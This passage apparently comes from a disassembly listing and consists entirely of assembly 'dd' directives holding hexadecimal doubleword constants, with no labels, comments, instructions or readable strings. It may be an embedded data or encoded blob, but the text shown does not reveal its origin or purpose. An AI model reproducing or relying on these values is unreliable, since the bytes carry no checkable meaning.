0C06CDE77h, 256600E2h dd 8278E1B2h, 0C61DE4D5h, 0ABC01C09h, 54728A4Fh, 75E7005Dh dd 0D05A1F85h, 2B006A63h, 0D8706BACh, 0E8FF84h, 599AD50Bh dd 8DD3685Ch, 6AE44201h, 0CF7F980Eh, 17DA2F0h, 16401CB8h dd 0F4744828h, 0B73C0FC8h, 872A9F5Dh, 0B901D61Eh, 0DF969B8h dd 1C48B6C4h, 63D94Bh, 5C6ECAF5h, 93090E1Fh, 86B8D4h, 2859FFC4h dd 8FC80777h, 40632FFCh, 290410C4h, 4B00BE7Dh, 76AB3F7Eh dd 609C7D9Fh, 956AE6A5h, 1D00EFC0h, 0ACC656FCh, 6FE365h dd 0CA6C0974h, 0A30ABA89h, 0EDCBFA00h, 7CCF6643h, 31D400B8h dd 0E7865D67h, 9C00C7FDh, 41B4DD91h, 0F4E3CBD6h, 0BEEF018Ch dd 460601D4h, 93A4DC4Dh, 5840CA2Eh, 75058D00h, 0D198F2h dd 4D8002E1h, 0A32F7669h, 0B9A8B403h, 0A9D829D0h, 0E0C72D6Ah dd 3D69BFCh, 82BEDE18h, 0AE8821E2h, 0CD00805Ch, 26243E8Bh dd 0EB3329Bh, 0F8A39954h, 4FE5F2E0h, 0BFEE7377h, 0F95C651Eh dd 319C2E40h, 19DD3F6h, 0D56786B6h, 0D0532B1Eh, 64007EA8h dd 5C0D9F1Dh, 894F7Fh, 0E9F1AA92h, 0DDFACC8Ch, 0F0F71500h dd 0C96BE526h, 869A5C5Bh, 0AC712100h, 5E606DB9h, 7FD18200h dd 0F4DCA62Eh, 21220F53h, 7A208574h, 0EF526F2Bh, 6962D300h dd 0AD1E5527h, 866B016Eh, 98CEF407h, 0DCE7C433h, 0E3728409h dd 24C0079Bh, 0E4568130h, 8D160017h, 0EE76832Bh, 433A45DCh dd 0EF2280B8h, 75EC71DFh, 940000Eh, 544F37BEh, 0F0013F65h dd 5CDA49C2h, 2CC1D38h, 0BF48031Ch, 7BD47D0h, 64D1E8D8h dd 702BEB00h, 2EA27606h, 0CD83001Eh, 6985BA5Bh, 9A00B7B4h dd 1CE604AEh, 0EF6E80h, 0D5E4B83Bh, 0E3DFD981h, 9EF31000h dd 6AAA2578h, 0C2323835h, 15CC300h, 0D58414EAh, 262B7D00h dd 47FD8052h, 7BE039C6h, 0C0B4A81Fh, 0FE3DF170h, 80005829h dd 5A252CBDh, 687664h, 3A454C6Fh, 776D8859h, 3048141Ch dd 479B803Fh, 680A0307h, 0E29300F7h, 0EF5994FAh, 0CF00B79Fh dd 70F55AD2h, 224B9Bh, 0A5A9E42Bh, 19A212F7h, 8B0B713h dd 6078210Eh, 0B2154694h, 0D60A1649h, 0B130092h, 67CF3F6Ah dd 88EE7C03h, 0C89871E0h, 2249B6h, 3837C962h, 0B34C9507h dd 140A1F09h, 0B5A780B0h, 0BA88BCh, 8BFC0EBEh, 6F0DE213h dd 225948h, 0CC75B65Ch, 8D71D9h, 14D87FA3h, 2460C913h dd 2C39DE0Eh, 0BCD260F8h, 5199D7h, 0C91BD5DBh, 0FEF925AEh dd 75EB4C00h, 7E389A5Ch, 14B51D7Ch, 40B89FCAh, 5A97B66Ah dd 28004E88h, 0D727DF57h, 986131h, 0C26BB39Ah, 0C556B4BBh dd 44D3D000h, 87623836h, 93173A5Bh, 7BA0E000h, 348E43D4h dd 51942900h, 0A7CBC36Dh, 554603BAh, 84D7EA1Bh, 0D99BF798h dd 6400455Bh, 92590256h, 0DC2B0034h, 0CB88CF7Bh, 170766FAh dd 0AB07F6Ch, 0EA9F9CD0h, 82C70018h, 0B22D5B57h, 250FE770h dd 20621AFDh, 63BCA147h, 5990B1h, 4CFF2D2Ch, 64EF4F42h dd 0D7053400h, 7A81F136h, 0D630009h, 0B81D41CCh, 0B90086FFh dd 0D48ACA58h, 1F691535h, 0C04B6EA2h, 0E8A5B160h, 410F5D2Dh dd 0CE1ECBC9h, 97D381BFh, 0D020BECDh, 4B0F1DA0h, 0E323C449h dd 2C1FAA8h, 78C48B7Dh, 52130079h, 3B730812h, 6603A83Ch dd 37F3119Dh, 7FFF021h, 4546144Eh, 6C80E042h, 5C707E95h dd 0D4ED8200h, 1BB1BE4Dh, 85C80008h, 4AD3F839h, 1CFE24C3h dd 5803AD01h, 22FAF972h, 0B5F811FDh, 6C0E00EFh, 45B31335h dd 47011577h, 6073320Ah, 5420B292h, 0DDAF00E0h, 98416474h dd 0EB00190Ch, 0A6E4342Ch, 7D5497h, 0E8497C1Dh, 0B8C15571h dd 92F6010Eh, 0AE6640B6h, 84B595h, 72D1D412h, 0A2C4F5EEh dd 3940ED00h, 292D705Fh, 0B3670742h, 47872284h, 0E3D08012h dd 4752C02h, 64336E00h, 0E8B5286Ch, 1EECE86Ah, 7E4954Fh dd 80DECD10h, 5F9824C5h, 8A00D870h, 2523D47Eh, 5AF551h dd 0BE3AAF9h, 0FBCE3B26h, 4E080203h, 0B8C5A712h, 14153CBh dd 83E1DB79h, 0D9117363h, 85BC4084h, 206CC5Ah, 99743A23h dd 527E0340h, 1C97DA8Dh, 472F3288h, 5A676400h, 8C810CB5h dd 949A1E05h, 0E81F00B6h, 0FB521EC7h, 0B2C86000h, 5CD2DEBEh dd 12E33D40h, 0E51700F5h, 97BC5354h, 98003775h, 4CC9FD5Eh dd 1775189h, 0EAE1C131h, 0D485344Fh, 709F909h, 6429BCh dd 6BD08659h, 6D9D0499h, 0C775C28Ah, 2B8C607Dh, 0C8003834h dd 0A6B7925Ch, 0E8329DE8h, 656A0069h, 12E91022h, 647A77ADh dd 0DC009C7Ah, 0D40AA0AEh, 0E2C6FAD3h, 933600C7h, 458044C5h dd 0B11EBB7Ah dd 79CEE4BDh, 6F750029h, 6B2FD6h, 9F27D7A2h, 23890CBEh dd 71E87975h, 0F451611Ch, 0CDFEB200h, 58538Ch, 0E306AFDh dd 0C235330Bh, 0F2EE9500h, 0CA1F9F4h, 1A7009D0h, 0CD00E3FFh dd 18F1CC71h, 0C695B702h, 0E0558959h, 73BE04h, 6B011242h dd 1609AD68h, 8F92E601h, 49365851h, 0C80EC0EAh, 0C6E1003Ch dd 60219B02h, 7A906EBDh, 0BB457000h, 6A8F89D2h, 48637F5Ch dd 270EDCB5h, 9B0754Ch, 87D0F565h, 0ADC00638h, 9142DEh dd 0B07E8C5Dh, 0B4A48B01h, 0C49A8207h, 2CA01D25h, 5C57A853h dd 66008893h, 0B5516840h, 0D34C6754h, 0E4750F77h, 947FC54Ch dd 7C1964D0h, 44550F42h, 4D601E05h, 0E69BFB47h, 4E8724h dd 2A265F05h, 1D6488h, 3064A127h, 8AD0F862h, 2F8B8200h dd 3CAC29DFh, 3D6EFE26h, 0D380FE74h, 0BD7FF794h, 7DFE150Eh dd 393D4B0Eh, 629B0072h, 5F351Ah, 653CE909h, 5444764Ch dd 3EC74302h, 0E05B0CF4h, 0E711B0Eh, 0E003677Eh, 0AA798760h dd 1E002644h, 0BA6460FEh, 0EB2B8Ah, 0DD458320h, 311FB1C5h dd 0B61358F4h, 4AA0F091h, 9AAC264Dh, 0BFFD007Ch, 45293B32h dd 0CFB93100h, 54EFC90Fh, 90D03CF9h, 121ED880h, 2C289ABAh dd 0CEDDFF00h, 2A18CF2Eh, 36AB0180h, 0CC654E62h, 51A840E2h dd 57059A11h, 76CEF0E6h, 0A031DE00h, 1F25C8A8h, 7FB52660h dd 0D5ED1787h, 9539C0D3h, 56005F7Dh, 0E223C21Eh, 98E1715Bh dd 0F3A000D0h, 0B8D32B98h, 77073316h, 455109BEh, 0F35466E3h dd 0BB8E0068h, 4A90BC10h, 0F700E73Bh, 2574E2BFh, 1813F318h dd 50706303h, 0F7517C7h, 0C13F3400h, 0D480400Dh, 2BAC037Dh dd 94E06D4Eh, 9BA78FD8h, 67027700h, 40A4213Fh, 57B33035h dd 0F38E91E0h, 8754B003h, 0B061C8B8h, 5919AD83h, 3B001008h dd 15A1C706h, 540075BCh, 6971030Bh, 3F7E8FC3h, 0EA80FEBBh dd 0C1BCCDFBh, 5E1F7C46h, 6C4026FAh, 55AF93A4h, 0AE6F3DD7h dd 658E9B80h, 0A307567Ah, 4F00F57Ch, 7F3C7114h, 4CD0BEB1h dd 0B7005873h, 8D021EDCh, 40060A2h, 5E08354h, 26A6D5Ah dd 24852F13h, 5AE01967h, 7E006C73h, 1F064F92h, 0E3EBA5Ah dd 0CDCB628Fh, 0D8E16961h, 171BF0CCh, 5193F30Eh, 0D210E04Bh dd 3A492DF8h, 5301B813h, 2AF7F01Dh, 0A2FAC464h, 30EF2724h dd 900EC26h, 727A9FBEh, 81F00E66h, 1640C2C8h, 0BA9E7FF4h dd 9B5CEF06h, 0AE305h, 0BC4F7D74h, 0A1166578h, 28EAB200h dd 2F714473h, 423A00A3h, 9083BD39h, 0E8008D3Dh, 0DD0C3EEAh dd 7813EF8Ah, 2697429h, 0D8A6D594h, 10E00BA7h, 7D039886h dd 0DE93AB1h, 0C528E8DEh, 89F70575h, 0A7EF59h, 0C2ABBBF9h dd 43EE0340h, 6008CF2h, 8853C132h, 0EA991471h, 0B4630044h dd 0ED7F7C85h, 41003B08h, 98EC4A3Ah, 1A8C206h, 0EF395FE6h dd 0C371DFF1h, 74487EF0h, 0CE06DB00h, 0A01B1FA7h, 0A3B11CA2h dd 0E9E200B3h, 0E56E562Fh, 0A4C8D00h, 0FF898C6Ah, 0A0CB00A9h dd 679BFCC8h, 0BB07EA99h, 0C1E3F372h, 0CB5E8A60h, 0CE34008Dh dd 0C6EE8E87h, 793C94F5h, 0C0E289A4h, 59F400EBh, 0A2552Ah dd 0FC1275B8h, 365013Dh, 0B6018FB8h, 0A359C04Eh, 0D0F38DE6h dd 0B8B81FB4h, 0EE8700A2h, 0B7163820h, 33067E57h, 0FC0D7AC8h dd 1FA900A4h, 0DA9A0B86h, 0F9243ED1h, 372C54E7h, 0E44BA400h dd 260F4199h, 14A044BDh, 0B00CEA53h, 4D10491Bh, 3D6E5E24h dd 2781833Dh, 0D10822EAh, 9C45FD4Eh, 0A0345E81h, 1901C34h dd 52A3832Bh, 3A58AF14h, 0CFF8B0h, 0A4DC5764h, 0CBBBF881h dd 0D8D56C00h, 6E592AE2h, 99CE0728h, 0D3FDD207h, 7CD0C84Dh dd 0D3007411h, 4BE87EF1h, 2E1869DAh, 2709196h, 0DD4DC7BCh dd 36E99C80h, 0A100FB0Bh, 59E37502h, 6B4AC9h, 893B7D83h dd 47B54149h, 0B1EEE00h, 4A439907h, 70580039h, 961BC3CBh dd 0DA07B090h, 719205CFh, 0AD0FE0DEh, 52CCB4h, 5C4C6264h dd 0A91A5756h, 1B12DF00h, 518D6633h, 14440199h, 0D39ED2A5h dd 2758605Dh, 0BC01694Eh, 0D679D7FFh, 0D001782Ch, 0AE8785Bh dd 2650F8C4h, 1E5E900h, 2D4EA7EEh, 0AB6D1437h, 6900BC3Dh dd 0DDB45493h, 150091E9h, 182A38F3h, 1EC1E1h, 0C60D2646h dd 7AFE2C0Eh, 92C339h, 8DE2F389h, 7CF9EB61h, 9B4E0068h dd 4B12984Ch, 710FDA9Ch, 47884DC9h, 962066B3h, 0ACED86h dd 1259932Fh, 74DD91B8h, 0E8F014Ch, 13E47B45h, 1046A403h dd 0A63AD829h, 1D357E20h, 524D1B39h, 0C52800D5h, 0E08E6A6Eh dd 9AC03E67h, 7812CA40h, 622F0040h, 0DDE5753Fh, 2D0076ACh dd 2A0FEFC1h, 0EE67B8h, 31EB0154h, 3F7917DEh, 14E62402h dd 4075CA82h, 75FE2A60h, 537A00A0h, 64007E2h, 0BF03F80Ch dd 0A43714DBh, 102C904Ch, 0FE21005Bh, 0CC5C59BCh, 1A504075h dd 955C89C4h, 0CE6B141Ch, 66D53084h, 180676h, 32384F7Bh dd 2E7A0D59h, 0F3B6510Bh, 3B0ED585h, 274C2A5h, 5ACE46C4h dd 0E9B82AE3h, 0D105BF96h, 4E1691B9h, 3AD492h, 0D465A59Ch dd 7B385D5Ch, 59160300h, 71DD3609h, 0A2792C74h, 0B81049Fh dd 0DAC1C3BEh, 0BF2C4000h, 5826D6D0h, 98330073h, 398106F1h dd 0A3009B7Eh, 523794C7h, 28D738B2h, 1B448E4h, 664F017Bh dd 306CD3AFh, 255C1A70h, 0BFF60095h, 3BED36FFh, 0F75B0390h dd 0D0C757A7h, 0DCDA7688h, 0F3F64700h, 0AC891E4Fh, 0BF28005Bh dd 43871FADh, 22001C2Bh, 16CFBC0Bh, 972A8Eh, 128C0F85h dd 0CEB72EC7h, 4DE90C00h, 0C878A527h, 0FFE74C2Fh, 67BA0600h dd 0D87DA6EBh, 53384A05h, 0C4011C17h, 5AB0B487h, 78E2D0h dd 399AF3A3h, 5FDD7131h, 16687A0Ch, 2706241Fh, 0B8805084h dd 0DFD2E888h, 0EAAED00h, 0CEA1A339h, 4D86E006h, 2000E04Fh dd 222EC1E9h, 2500C360h, 0E51F7B42h, 0C08098CBh, 3B8AAEAAh dd 4507C714h, 3D544BC9h, 0BE76AFC1h, 50478420h, 125C4E5h dd 550DC420h, 0C89D40FEh, 0D44CF7DBh, 0A7EE285Ch, 35570304h dd 88C07887h, 0F8C11A68h, 2A760031h, 0B9BDD9FAh, 48002EEFh dd 0ABA502B3h, 0CCFE54h, 0D471B1D1h, 85302063h, 0D2114360h dd 4B6D3Bh, 3AE059CCh, 5C8463D0h, 0A290E66Fh, 0E0EB092Ch dd 9247F694h, 62F306B0h, 18E251EEh, 13831800h, 0FD6C5960h dd 8FA400C9h, 9104854Ch, 1B01C51Dh, 0D29A6AB5h, 0E0E637DBh dd 3B4614h, 8FC2ED30h, 0F947656Eh, 63453E00h, 22213AC6h dd 0DE3C166Ch, 7D5000C9h, 70B0DF16h, 82E848h, 9CE59BCEh dd 6B3444h, 0CDF8CFB2h, 1E61F1E7h, 9D00E6FCh, 0AAF550DFh dd 0FA9E02FDh, 0D7780133h, 0F9632237h, 26FBF027h, 0DD729700h dd 64D079DEh, 9C010635h, 0E8450305h, 0B36BC100h, 5B69DC7Ah dd 4087385Eh, 1402D059h, 2F1B2CACh, 86AD95E0h, 3C62A204h dd 3681B496h, 29E4F2CDh, 0D18F3C5Fh, 837DAD81h, 0EE47B8C2h dd 0BC177AC0h, 0E049900Bh, 0CDD0825Dh, 0A0A880E1h, 7297870Ah dd 9EC700ABh, 7A373388h, 9067928h, 0D506F230h, 0AFB60032h dd 0B8203B44h, 37003149h, 0FDDCE1A5h, 24D3A8DEh, 0B3EDC7h dd 153F3507h, 0B7004BDAh, 0E0ABA3B0h, 8D3AF2h, 0FD3E9559h dd 93D3CBF3h, 9DC86F01h, 0D470A720h, 0F8A58470h, 0E53D0034h dd 51F97BE4h, 0B407C35Ah, 5878746Ah, 1E21406Fh, 273057Eh dd 336D44D5h, 38E0093Ch, 6170A574h, 0FC6EC300h, 0E9F91731h dd 97BD2F2Ch, 93CF170h, 0E475F696h, 0A95D7807h, 0CEC00842h dd 0AB7A2Ah, 0D5416879h dd 505F45D2h, 800E933Eh, 0B95E3A61h, 0EC92B4h, 0B20D7138h dd 4363CCABh, 33BA931Dh, 7A00E693h, 44E9CFD0h, 6C90004Ah dd 1D8F72E7h, 654CF3F1h, 69830094h, 56295F9Bh, 61D800DCh dd 720413C9h, 0A91E51BAh, 6C0C8B1h, 8DC509DEh, 0E4C4826h dd 5A03D700h, 6D4037CAh, 6E003970h, 91BFA29Eh, 0FCF196h dd 442BF3F0h, 1EC447C7h, 0C874E000h, 24AB1BDCh, 6CE40075h dd 392AFCFAh, 65006419h, 0AA2D01F4h, 0ED9AA0h, 0FAA6F746h dd 3E9E2EEBh, 7301D07h, 0A5D06477h, 0FFB0B5h, 4148C122h dd 3CABB325h, 33242F00h, 42F6CCFAh, 898E00E7h, 0D11809C0h dd 3C00F50Ah, 6C8F59ECh, 0FB150Fh, 9F2F662Ah, 0D72D9445h dd 993C9C01h, 1E90CC8Dh, 0F0B477E8h, 7AC7008Ch, 0D47EB6BCh dd 301D6AEBh, 42C74302h, 13216728h, 0B5D9779Ch, 0F4940ADCh dd 8AAF00C2h, 0AA415A07h, 0ED1E72BFh, 8500B437h, 0CE662780h dd 548D0347h, 0D57A65F9h, 9D3582Eh, 0B71D562Ch, 0AD672D00h dd 431A14h, 1F55D4F2h, 0B68DA646h, 6096650Eh, 64E320DCh dd 0EE18345h, 352F19D5h, 5AB29C20h, 7B00B978h, 0F24D83Ch dd 3FF290h, 0A9718EFDh, 52E19B4Ch, 4D064400h, 0BB2D19B3h dd 1A0F00ACh, 0AE1DD941h, 0D1009136h, 0E2B74865h, 45EC19h dd 878504CEh, 0AE5A76CBh, 0B21F511Ah, 92BC4040h, 885C0981h dd 9E8047ADh, 0A81C8CB1h, 9353E000h, 0BF5D8BB3h, 479607D2h dd 0F023144Dh, 37F5184Ah, 69A3CD00h, 2863DCF0h, 0D39A0135h dd 0F33EC43Dh, 499641AFh, 0A4C88022h, 0E7277CFFh, 4240584h dd 0FCF2C1CEh, 8E34007Dh, 0F5733840h, 41BC0071h, 8CC49644h dd 4800C27Bh, 9A67262Eh, 0A4F1FCh, 7CDAB670h, 0EF86DBE6h dd 1DD7400h, 0F894A71Eh, 72A30AADh, 609CD829h, 5E659935h dd 19003EF4h, 0E8A2C0D4h, 544B52E6h, 7B428h, 0BDE702Ah dd 62321422h, 2AE1300h, 6A8D27B8h, 2A12039Eh, 0DCD3B26Dh dd 0D4F1E5A8h, 67F61C07h, 0FB10A41Eh, 0D150CBh, 0BC1FB739h dd 29FEBAC7h, 6A467D00h, 70E68962h, 0A0865C11h, 0FA1DD400h dd 46E99167h, 773EA403h, 889EBC88h, 4165DEh, 0D8F8A4Dh dd 0C3FBE074h, 0EB47AC00h, 0D20F2170h, 3D870FC8h, 0C680EA5Ah dd 0FD35E54Ch, 0FB2A9000h, 0A6EF895Dh, 16F7ABFh, 135881F6h dd 0D0495E5Ch, 60013383h, 2B10C855h, 0E4207243h, 0F890069h dd 86010A2Ah, 63012EDAh, 75DC7D4h, 18802BB1h, 0A6F6C858h dd 10905BD5h, 4F323100h, 12F18F88h, 742118F0h, 0CA8EA009h dd 123FEB88h, 3B390E1h, 8D1E538h, 0E06079C2h, 8500B861h dd 9D50CF42h, 381DADDh, 541B2DF0h, 0D5F00C34h, 0CB03A9E6h dd 63AEBDC0h, 0DF613DCEh, 2A1DEA44h, 0B7025752h, 802BEFE1h dd 0A731DCE0h, 9DCD0007h, 216A8593h, 5A2C8EFAh, 8F0041D1h dd 0F3BDF67Ah, 411D00F1h, 0AE1C9DB1h, 21000F9Fh, 0E277DEE8h dd 75B220D2h, 2BBB02DBh, 0DD84134Bh, 94005C43h, 8B06660h dd 8F2F80h, 0D223D1DFh, 0BE787DE1h, 0B8625700h, 0FADCB422h dd 33CB0070h, 0D9859BD4h, 462415DBh, 64000BABh, 9DB82E10h dd 9B713092h, 0CBDEEE80h, 65D25300h, 0C3FAD91Dh, 78520009h dd 79687DDh, 1E07B551h, 0A4DA8830h, 8C0080CAh, 49802270h dd 8A250017h, 0E2916997h, 9D00B32Ch, 2482460h, 0E6210B4h dd 0A514CBA7h, 0DE010380h, 15166E93h, 0B5000FDBh, 0DC9BEB97h dd 24A1739Fh, 0F84643h, 56C9ECF0h, 970151F7h, 8EA04F5Ch dd 0E080AEEDh, 0B6B82C3Ah, 0E7007584h, 41F35AB0h, 3BCB899Ah dd 0F080D379h, 0B3E2504Ch, 0D00F1BBh, 8519810Bh, 0E56DF5h dd 0FB5034Fh, 0F74B4D66h, 2BBE2200h, 168D8BD2h, 9DCC0064h dd 0B363374Ch, 0D6002F8Eh, 24ADEC5Ch, 0BDF37Fh, 5F3CBE53h dd 0D7CF49E2h, 942DD300h, 5EA37B8Ah, 1ED900BDh, 54C068BBh dd 74009DD1h, 0FDE11A4Bh, 270E9AB4h, 65F4A3E4h, 2620023Bh dd 40ACEBCEh, 4F782CAh, 0BA238D85h, 816834Fh, 0F8409898h dd 890091FCh, 115FCC83h, 65DA26h, 0A0D864F1h, 0F83DD450h dd 6010E50Eh, 0EDDE0FCh, 3F0DBCCDh, 77804E24h, 0F77A216Dh dd 51074537h, 0B64B2275h, 493F3081h, 167F10F4h, 0F933C7h dd 0D48BA605h, 4F00B922h, 0C99926B8h, 703D28h, 0A0A13105h dd 7F586508h, 7940213Fh, 4E5E3500h, 3972026Dh, 0D161773h dd 2D8C0047h, 8AB3DFADh, 4E1F4Ch, 6B5FFACh, 7205D16h, 0C0CF38CCh dd 0D9E7C0D5h, 0FF0092EEh, 2C9307E6h, 731DE4h, 0E3BD0A80h dd 0D2E8DB44h, 38700BDh, 253C60h, 0FD0A6D14h, 27DADE59h dd 7F00FBFEh, 69D3A7B1h, 60902FE5h, 3E5740CBh, 9E010B33h dd 0A8A13DD9h, 992118C1h, 1430E1F8h, 9C0D3462h, 5BFC7303h dd 3399432Dh, 7B902013h, 845E1D01h, 7F77B348h, 3B3FC0DAh dd 38988Dh, 37BA668Bh, 440DCFC9h, 0FAD67D01h, 9923DA1Dh dd 71FB57CCh, 24C90066h, 5DC30885h, 0AA030465h, 797A1691h dd 4D4B88F5h, 1AF405E8h, 8034BCB7h, 3E7E602Ch, 3B3A8C00h dd 0AEEA23D9h, 1C450050h, 0AC5E31B1h, 0A89206A3h, 57AF1A00h dd 4E2263E4h, 0BCF7007Fh, 0AC5D55DFh, 8A04842Bh, 346F97B6h dd 0DC8940D0h, 39A30977h, 90A0D457h, 6DE75295h, 1FB5601Eh dd 6E8743C0h, 84EFBh, 55F5A028h, 81F0A596h, 0BF6BEB00h dd 0B7CA773Dh, 0E119037Dh, 9884189Ah, 0CC608FA0h, 0D3758500h dd 49BC8E65h, 64044C7Dh, 58FD1B02h, 0D869031Eh, 0E3BEFC6Eh dd 3944F51Dh, 20CF5FCBh, 86D8A398h, 8C4201E1h, 72BCE952h dd 0F554E0DEh, 748514Ch, 0FB7D03D2h, 93D47910h, 0ACF4023Bh dd 0B8F24783h, 0C00B3C61h, 9001DDADh, 0EB204436h, 0E3D07410h dd 66E50059h, 0F4EF85D7h, 8F157054h, 0A8FF35h, 0C7B6E672h dd 1D7E127Dh, 8041E3AAh, 9DC0D15h, 6C007834h, 0B4405F97h dd 0D87492h, 49E9C50h, 0AEB32A01h, 957F8300h, 8118BD9Dh dd 9B0700C6h, 0A97B7C60h, 0DB098BFCh, 0C7A1DCh, 90081E44h dd 43E0030Fh, 0AA7A8C62h, 50D3ECE9h, 0B4CAFA80h, 9E31DA01h dd 0B1134A3Eh, 77C5C860h, 64F90078h, 8CE89FCEh, 50107E3h dd 7C6D8801h, 0E42040F3h, 0B27EECAEh, 1C64006Ch, 0E85B9DA2h dd 0C35DD710h, 0D8FC00F4h, 0A6FA6547h, 0A0180037h, 0A4563F44h dd 0EF245548h, 0D20BAF98h, 0B0CC0078h, 3303C7h, 0D958A40Ch dd 92A70D96h, 1A608700h, 9866FC6Ah, 245FE6EEh, 0C0065Eh dd 9DC88B51h, 0FD0315A0h, 9E3FEFF7h, 80E01F3Dh, 29E000C4h dd 0D4B0476Ah, 5794681Eh, 0F8791701h, 0FB47D305h, 23425361h dd 24FC1020h, 69E9E7h, 2465BC6Ch, 0BB5C8AA9h, 0F94C000Eh dd 0CD8B1D58h, 49C4005Bh, 74BC9E6Dh, 7190CA23h, 0D20EEE00h dd 0C89BFB64h, 628217BDh, 0ACF842FEh, 0E52799D0h, 0F4488079h dd 0BBE05Ah, 374215C1h, 1CAADEF0h, 0AE90D001h, 66A9182Ah dd 0C20420h, 5651B5E8h, 61D08DADh, 0E5008878h, 0F470F974h dd 4EF375h, 90109DBEh, 7A8254DCh, 3A02A8B8h, 0F7AB2481h dd 3D18E1C0h, 7BD822A8h, 1E800067h, 5B88A725h, 1200477Ch dd 2AA0496Fh, 0AE1AECh, 0AB9C7A8Bh, 0E49D0ACDh, 60987DF8h dd 66B71B00h, 0B9F65BA7h, 80ECB14Ah, 0E55283F9h, 0D61C3287h dd 3F40488Eh, 0EA960DCDh, 2F59075Dh, 71E7F188h, 0C8031887h dd 0C90EE3B3h, 0DECA09B2h, 0CC241A80h, 31544B0h, 0FC88D5FFh dd 67F057F1h, 683933BFh, 43588FE6h, 0BBA884A4h, 3E0830A0h dd 0CE00236Bh dd 0F9678B06h, 48070AB5h, 76438EC2h, 358CC391h, 29C4F0E1h dd 547828h, 0C802FA55h, 0CE2CB2ACh, 0E60DEE05h, 0A082F294h dd 46B180C1h, 9AAE84Fh, 0AFDF0C99h, 33AB34A0h, 1C1FB8CDh dd 0A4C01FC6h, 0BB241199h, 7CAF00FAh, 52B0D6Fh, 0C0497ED5h dd 0DC80C0FCh, 29F185h, 0F26E8CCCh, 24AC19C2h, 0AFE32800h dd 0A3268A65h, 382B5810h, 0EB967600h, 206F4C81h, 2CA160E5h dd 695A0524h, 0F7068300h, 38E4D13Ah, 0D200CDD8h, 0D9A08C2Bh dd 4460486Ah, 0D7C738F2h, 0CD693875h, 0AC8E7280h, 250A103h dd 5304DA98h, 6EDA783Fh, 0C07BB890h, 0F91D008Ch, 4A0E8D77h dd 3C13BBF5h, 0C4059CB2h, 68339CFh, 6840F026h, 0D2EE5Bh dd 5D56AD8Dh, 7CC23F11h, 0B8A2D50Fh, 60466F98h, 0B57E36BCh dd 766300FBh, 37FFDBEAh, 5624524Fh, 394C91h, 7E8764C0h dd 0EC62D417h, 0D07985h, 0C1ADA9AEh, 0DDB02C48h, 0B50E8B75h dd 605FB10Eh, 0EF0F8A17h, 60DA0371h, 2EE143FAh, 59C77398h dd 0E6D42500h, 8458AFC9h, 0EC2600FCh, 9789FB6Dh, 0D101F415h dd 0A9672755h, 0BDE06473h, 5EED0E58h, 542670C6h, 0E1F10C2h dd 858DBD1h, 907D8420h, 2A70414h, 0C0E2F8E1h, 24A5B7BDh dd 57DBA300h, 35235F77h, 6D29047Eh, 82E7E2BFh, 4480C6FFh dd 7F9D285h, 18D3BD07h, 6C33324Ch, 9E2840E3h, 0B2DB2810h dd 0F18B0238h, 0D1F6EBB7h, 0D060B6C1h, 1306F007h, 0FC6DF23Dh dd 0B3EF0C28h, 0A95021AFh, 9392FE03h, 0F32589C8h, 0D5808705h dd 6FB704h, 7EF8BCB1h, 0A55D5778h, 6CF1D200h, 0A8D103Ah dd 5EFB00EBh, 7F1BDF50h, 99073394h, 0A31C5477h, 0CBB1D20h dd 0B73A05ABh, 1F570562h, 6681BFAAh, 5A13939Dh, 0FCB99568h dd 3004F804h, 0D31081FFh, 0ED03AAA1h, 32E372C1h, 0B12AE00Eh dd 1BF10FDDh, 8980EACCh, 20532F02h, 0FCF8CFF8h, 7AD2A13Eh dd 0C1A4F206h, 659C203h, 7A59E6A8h, 8B3F50ECh, 185B440Ah dd 29D67013h, 0C628A7C2h, 77009CD8h, 454BE971h, 31180F2h dd 0BC7F840Eh, 5998F954h, 0B9C560F1h, 6004BEE4h, 55008361h dd 5B821DC3h, 1F9718C0h, 591E17Ch, 93F24BB5h, 1A7030BCh dd 0B1071E18h, 3C6A2127h, 30CC6640h, 88F506F7h, 0E8357902h dd 1732DD00h, 8B6DFB26h, 13B408B3h, 7682A373h, 0B0F24D9Bh dd 74FA264Ch, 0B70F029Eh, 0B430FF65h, 73C1BD04h, 9448BC1Dh dd 7179188Ch, 3224A937h, 38621930h, 0A4BB8D4Dh, 0D50485F4h dd 59AC813Fh, 5D091FCDh, 502D0434h, 1F3E441h, 89B5EBFDh dd 2021C9CCh, 0A4011D04h, 8A2F5B2Ch, 29883BABh, 0B7A8E081h dd 3DC029C4h, 51B1324Eh, 2A298839h, 841C9015h, 394445D4h dd 291144BCh, 33CF844h, 0D84B3ECAh, 0CC6E69h, 0F0500A77h dd 572CCE0Ch, 0C2DF4EC0h, 780A3h, 0E6B79ABAh, 6F97648Fh dd 112026C2h, 2D4840D5h, 0BAC33D47h, 0B500D9BDh, 921D7C37h dd 2617F783h, 26010F28h, 1BB9C505h, 9ABFE8h, 12E0AF6Dh dd 2F5234C1h, 84291400h, 93BD8C0Ch, 0E3FD0088h, 0E2987A6Bh dd 11008FDAh, 4B26866h, 70E18AC9h, 7C320056h, 711582EEh dd 9B00260Ah, 1A283FCh, 6388F9h, 5C47023Ch, 0E3366CDh dd 8BB42300h, 755ED2DEh, 8771864h, 0B61740D1h, 0B8A74200h dd 2BA20768h, 0C14439E1h, 407C6012h, 0E7A0B0ECh, 2A00F259h dd 7450025Ah, 0B16001h, 29BBF903h, 2767D66Ch, 100DEB00h dd 941133C1h, 35A11663h, 40F91C13h, 85667B05h, 1A01B512h dd 0E745253Fh, 0E0F02A17h, 712892ADh, 6098FCC0h, 73142999h dd 0D00E7950h, 8023155Dh, 0EFD24F56h, 0CFDA0043h, 0F6D6BDE6h dd 1200C4DCh, 1951EC52h, 0F4DF57h, 7BF07C45h, 4A9BBCD2h dd 0BA29663Eh, 0D0DA801Eh, 6207F711h, 0D2183F73h, 3649220Eh dd 12DB2FA0h, 0B500809Eh, 590DC9C3h, 70FD8B0h, 40634129h dd 0F30630E2h, 6A0071F0h, 0AE3A70E4h, 0F6DE3h, 2BC83949h dd 0DFC4B04Ah, 988E7807h, 3EA095B3h, 1C557BE0h, 0C0B75128h dd 5FDE5417h, 3BFAE1EEh, 0B0AC902h, 815E7A5Bh, 0F24AC1BCh dd 3D2FC4C4h, 0DF802A4Eh, 58B4A1D4h, 0D800109Eh, 6B1163C8h dd 29FC33h, 78B67A1Ah, 0FB8D20B0h, 9249276h, 0F60B58CCh dd 0D51284B9h, 0B74B5480h, 6A98007Eh, 61B2D20Eh, 0FF006376h dd 713F2ECCh, 7792FC23h, 0E70900AAh, 0D4C2A35Eh, 0ED075BB5h dd 0D5599778h, 300090CAh, 0F495A473h, 